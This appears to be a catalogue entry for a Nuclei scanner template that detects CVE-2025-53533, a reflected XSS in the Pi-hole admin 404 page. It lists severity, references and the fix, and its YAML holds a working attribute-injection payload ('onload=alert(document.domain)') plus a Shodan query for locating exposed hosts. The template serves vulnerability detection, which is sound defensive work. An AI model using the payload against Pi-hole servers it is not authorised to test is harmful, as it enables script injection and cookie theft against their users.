CVE-2025-53533: Pi-hole Reflected XSS in 404-Error Page
- Template: CVE-2025-53533
- Name: Pi-hole Reflected XSS in 404-Error Page
- Description: Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
- Impact: Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
- Remediation: Update to Pi-hole web interface version 6.3 or later.
- Severity: medium
- Authors: DhiyaneshDk
- Tags: cve, cve2025, pihole, xss
- References: https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w, https://nvd.nist.gov/vuln/detail/CVE-2025-53533
- Cves: CVE-2025-53533
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-53533.yaml
- Digest: 4a0a0047304502205225806db3e2cf48fbdbc1ca3fef807b8ff74ae71fa5db67715af8de52a0b555022100de5827cc62e55f7946f275a013fb6efda72c54219653b5fc0ef2c9bb836b7944
- Created at: 2026-04-02T22:34:39Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 236
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-53533.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00591
- Epss percentile: 0.49162
- Not known: cpe
Metadata
- Max-request: 1
- Product: web_interface
- Shodan-query: title:"Pi-hole"
- Vendor: pi-hole
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| pi-hole:web_interface | yes | /v1/products/pi-hole/web_interface |
Labels
- Name: Pi-hole Admin Interface - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
- Remediation: Update to version 6.3 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim must visit a crafted malicious URL
- Labels source: projectdiscovery
- From cve: CVE-2025-53533
```yaml
id: CVE-2025-53533
info:
name: Pi-hole Reflected XSS in 404-Error Page
author: DhiyaneshDk
severity: medium
description: |
Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
remediation: Update to Pi-hole web interface version 6.3 or later.
reference:
- https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
- https://nvd.nist.gov/vuln/detail/CVE-2025-53533
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-53533
cwe-id: CWE-79
epss-score: 0.00591
epss-percentile: 0.49162
metadata:
verified: true
max-request: 1
vendor: pi-hole
product: web_interface
shodan-query: title:"Pi-hole"
tags: cve,cve2025,pihole,xss
http:
- method: GET
path:
- '{{BaseURL}}/"onload=alert(document.domain);>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"onload=alert(document.domain);>">'
- type: word
part: body
words:
- "pi-hole"
- type: status
status:
- 404
digest: 4a0a0047304502205225806db3e2cf48fbdbc1ca3fef807b8ff74ae71fa5db67715af8de52a0b555022100de5827cc62e55f7946f275a013fb6efda72c54219653b5fc0ef2c9bb836b7944:922c64590222798bb761d5b6d8e72950
```